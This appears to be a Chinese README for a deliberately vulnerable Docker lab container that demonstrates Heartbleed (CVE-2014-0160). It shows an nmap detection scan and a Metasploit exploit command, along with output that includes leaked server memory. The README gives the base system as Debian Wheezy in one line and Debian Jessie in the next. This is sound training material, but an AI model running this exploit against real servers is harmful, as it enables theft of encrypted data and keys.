一个基于 Debian (Wheezy) Linux 的系统,包含易受攻击版本的 libssl 和 openssl,以及一个用于展示 CVE-2014-0160(即 Heartbleed)的 Web 服务器。
此 Docker 容器基于 Debian Jessie,并已修改以使用易受攻击版本的 libssl 和 openssl。
一个简单的静态网页通过 Apache 2 提供服务。
使用 docker pull hmlio/vaas-cve-2014-0160 安装容器
使用端口映射运行容器:docker run -d -p 8443:443 hmlio/vaas-cve-2014-0160
你应该能够通过 http://your-ip:8443/ 访问 Web 应用程序。
Web 服务器/易受攻击的 openssl/libssl 版本可以像下面这样验证和利用(建议使用 Kali 机器):
root@kali:~/vaas-cve-2014-0160# nmap -sV -p 8443 --script=ssl-heartbleed your-ip
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-26 17:31 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000068s latency).
Other addresses for localhost (not scanned): ::1
PORT STATE SERVICE VERSION
8443/tcp open ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.10 (Debian)
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://cvedetails.com/cve/2014-0160/
|_ http://www.openssl.org/news/secadv_20140407.txt
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.61 seconds
使用 Metasploit 框架中的 msfcli:
root@kali:/tmp# msfcli auxiliary/scanner/ssl/openssl_heartbleed RHOSTS=your-ip RPORT=8443 VERBOSE=true E
...
...
[*] 192.168.179.230:8443 - Sending Heartbeat...
[*] 192.168.179.230:8443 - Heartbeat response, 65535 bytes
[+] 192.168.179.230:8443 - Heartbeat response with leak
[*] 192.168.179.230:8443 - Printable info leaked: U`tcz~8}"V2|vf3<tf"!98532ED/A/39.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: de,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip